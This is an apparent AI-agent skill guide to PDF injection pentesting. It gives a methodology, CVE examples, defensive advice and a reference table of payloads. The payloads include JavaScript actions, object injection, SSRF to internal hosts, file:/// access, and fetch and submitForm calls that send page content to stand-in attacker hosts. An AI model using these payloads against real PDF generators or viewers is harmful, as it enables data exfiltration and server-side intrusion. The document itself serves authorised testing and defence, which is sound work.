PDF Injection Pentesting Skill
A comprehensive skill for identifying, exploiting, and defending against PDF injection vulnerabilities. PDF syntax is extremely permissive—if you can break out of a string or dictionary embedding user input, you can inject new objects that PDF viewers will execute.
When to Use This Skill
Use this skill when:
- Testing applications that generate PDFs from user-controlled input
- Investigating reflected input inside PDF files
- Crafting payloads for PDF-based XSS or SSRF
- Reviewing PDF generation libraries (jsPDF, node-qpdf, etc.)
- Analyzing PDF structures for injection points
- Assessing bug bounty targets with PDF generation features
- Needing to exfiltrate data through PDF viewers
Core Attack Workflow
Step 1: Identify Injection Points
Look for user-controlled values that end up inside:
- Parenthesis strings:
(user_input) - URI fields:
/URI (https://...user_input...) - JavaScript fields:
/JS (app.alert(user_input)) - Annotation dictionaries
- Form field values
Common vulnerable patterns:
// jsPDF - UNSAFE
doc.text(userInput, 50, 50) // If userInput contains ) or
doc.addJS(userInput) // Direct injection into JS field
// Python reportlab - UNSAFE
canvas.drawString(100, 100, user_input)
Step 2: Craft Injection Payloads
The key is closing the original string/dictionary and injecting new PDF objects.
Basic string escape:
) ) /A << /S /JavaScript /JS (app.alert("XSS")) >> (
Complete payload structure:
- Close the original string:
) - Add space or newline
- Inject your action/object
- Reopen string to maintain validity:
(
Step 3: Deliver and Execute
- Direct delivery: Send malicious PDF to victim
- Blind exploitation: Target backend services that render PDFs
- Link hijacking: Inject into
/Linkannotations for click-triggered execution
Payload Primitives
JavaScript Execution on Open
/OpenAction << /S /JavaScript /JS (app.alert("PDF pwned")) >>
Works in: Acrobat Reader, Adobe Reader Does NOT work in: Chrome PDFium (sandboxed)
JavaScript on Link Click
/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>
Works in: PDFium (Chrome/Edge), Acrobat
Requires: Control over a /Link annotation
Blind Data Exfiltration
<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)
Combine with JavaScript to extract content:
this.getPageNthWord(0, 0, 0) // Get first word from page
Server-Side SSRF
/URI (https://internal-service.local/admin)
Use case: When backend services render PDFs and honor /URI actions
Additional Actions (/AA) Injection
) >> /AA << /O << /S /JavaScript /JS (app.alert('AA fired')) >> >> (
Triggers on: Document open, focus events Target: Catalog, Page, Annotation, or Form dictionaries
Full Object Injection (with newlines)
\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj\n
Requires: Ability to inject newline characters Power: Can create completely new PDF objects
Blind Enumeration (Gareth Heyes)
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
Purpose: Enumerate all objects in unknown PDF Output: JSON-ish dump via outbound requests
Real-World Vulnerability Patterns
CVE-2026-25755 (jsPDF addJS)
Vulnerability: Unsanitized input in addJS() method
Injection: Close JS literal, inject /AA → /O → /JavaScript
Impact: JavaScript execution on open/focus
Exploitation:
// Vulnerable code
doc.addJS(userInput)
// Payload
) /AA << /O << /S /JavaScript /JS (malicious_code) >> >> (
CVE-2024-4367 (PDF.js)
Vulnerability: Sandbox bypass in Firefox PDF.js < 4.2.67
Injection: Crafted /JavaScript action
Impact: Arbitrary JavaScript execution
Invoice Note Injection (Bug Bounty 2024)
Vulnerability: Customer notes in /URI field
Injection: ) /URI (https://attacker.tld/?ssrf=internal) (
Impact: SSRF to internal metadata host
Reward: $10,000
Testing Methodology
Phase 1: Reconnaissance
Identify PDF generation endpoints
- Invoice generation
- Report exports
- Document downloads
- Certificate generation
Map user input to PDF output
- Submit test values with special characters
- Look for:
),\,(,<<,>> - Check if input appears in PDF structure
Determine PDF viewer context
- Client-side rendering (Chrome, Firefox, Acrobat)
- Server-side rendering (backend services)
- Automatic processing (email attachments, document management)
Phase 2: Injection Testing
Test string escape sequences
Test: ) ( → Check if breaks out of string Test: \) ( → Check if backslash escapes Test: )\n( → Check if newline injection worksTest action injection
Payload: ) /A << /S /JavaScript /JS (app.alert(1)) >> ( Expected: Alert on link click or document openTest object injection
Payload: )\n10 0 obj\n<< /Type /Action /S /JavaScript /JS (app.alert(1)) >>\nendobj\n( Expected: New object in PDF structure
Phase 3: Exploitation
For XSS:
- Use
/JavaScriptactions - Target Acrobat for full API access
- Use
this.getPageNthWord()for content extraction
- Use
For SSRF:
- Use
/URIactions with internal URLs - Target backend PDF rendering services
- Use
file:///scheme for local file access
- Use
For Blind Bugs:
- Use outbound HTTP requests in JavaScript
- Use
submitForm()to exfiltrate data - Use enumeration payload for structure discovery
Defensive Recommendations
For Developers
Never concatenate raw user input in PDF strings
// BAD doc.text(userInput, 50, 50) // GOOD doc.text(escapePDF(userInput), 50, 50)Use hex strings for untrusted content
<48656C6C6F> instead of (Hello)Escape special characters per PDF spec §7.3
\→\\(→\()→\)- Newlines →
\n
Validate and sanitize action dictionaries
- Strip
/OpenAction,/AA,/Launch,/SubmitForm,/ImportData - Block
javascript:URI schemes
- Strip
Use safe PDF libraries
- Keep jsPDF, reportlab, qpdf updated
- Review library changelogs for security fixes
For Security Teams
Post-process untrusted PDFs
qpdf --decrypt --linearize untrusted.pdf cleaned.pdfRender with headless converters
- Remove JavaScript and external actions
- Use sandboxed environments
Keep viewers updated
- PDF.js ≥ 4.2.67
- Acrobat Reader ≥ July 2024 patches
- Chrome/Edge PDFium (auto-updates)
Monitor for exploitation
- Watch for outbound requests from PDF viewers
- Log PDF generation with user input
- Alert on unusual PDF structures
Quick Reference
| Goal | Payload | Viewer Support |
|---|---|---|
| Alert on open | /OpenAction << /S /JavaScript /JS (app.alert(1)) >> |
Acrobat only |
| Alert on click | /A << /S /JavaScript /JS (app.alert(1)) >> |
All viewers |
| Data exfil | this.submitForm('https://x.tld?'+data) |
Acrobat |
| SSRF | /URI (https://internal.local) |
Backend renderers |
| Object injection | \nendobj\n10 0 obj\n<<...>>\nendobj\n |
All (if newlines allowed) |
| Enumeration | for(i in this){this.submitForm(...)}catch(e){} |
Acrobat |
References
- PortSwigger: "Portable Data exFiltration – XSS for PDFs" (May 2024)
- Dawid Ryłko: "CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js" (Apr 2024)
- GitLab Advisory: "CVE-2026-25755: jsPDF PDF Object Injection" (Feb 2026)
- PDF Specification §7.3: Text String Objects
- Adobe Acrobat Help: Embedded Action Signing Warning (Sep 2025)
Next Steps
After identifying a PDF injection vulnerability:
- Document the injection point and payload
- Test across multiple PDF viewers
- Assess impact (XSS, SSRF, data exfiltration)
- Provide remediation guidance
- Consider blind exploitation if direct testing isn't possible